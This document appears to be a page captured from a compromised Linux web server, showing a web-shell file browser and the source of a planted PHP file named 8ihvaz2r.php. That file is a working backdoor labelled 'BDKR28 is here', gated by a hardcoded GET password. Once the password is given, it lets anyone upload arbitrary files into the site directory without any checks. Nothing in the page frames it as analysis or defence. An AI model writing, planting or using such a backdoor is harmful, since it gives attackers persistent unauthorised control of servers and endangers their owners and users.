HEX
Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.33
System: Linux li317-225.members.linode.com 3.10.0-1062.12.1.el7.x86_64 #1 SMP Tue Feb 4 23:02:59 UTC 2020 x86_64
User: apache (48)
PHP: 7.4.33
Disabled: NONE
Upload Files
File: //proc/7258/cwd/includes/8ihvaz2r.php
<?php
// Title: BDKR28 is here
?>
<!DOCTYPE html>
<html>
<head>
    <title>BDKR28 is here</title>
</head>
<body>
<?php
$password = isset($_GET['BDKR28']) ? $_GET['BDKR28'] : '';
$correct_password = '1uk6'; // This will be replaced with a random password
if ($password !== $correct_password) {
    echo '<center><h2>BDKR28 is here</h2><b>Invalid Password!</b><br><br>';
    echo '<form action="" method="get">';
    echo '<input type="password" name="BDKR28" placeholder="Enter Password">';
    echo '<input type="submit" value="Submit">';
    echo '</form></center>';
    exit;
}
echo '<center><h2>BDKR28 is here</h2>';
echo '<form action="" method="post" enctype="multipart/form-data">';
echo '<input type="file" name="file"><br><br>';
echo '<input type="submit" name="upload" value="Upload File">';
echo '</form>';
if (isset($_POST['upload'])) {
    $file = $_FILES['file']['name'];
    $tmp = $_FILES['file']['tmp_name'];
    if (move_uploaded_file($tmp, $file)) {
        echo '<b>File Uploaded Successfully!</b><br>';
        echo 'File: <a href="' . $file . '">' . $file . '</a>';
    } else {
        echo '<b>File Upload Failed!</b>';
    }
}
echo '</center>';
?>
</body>
</html>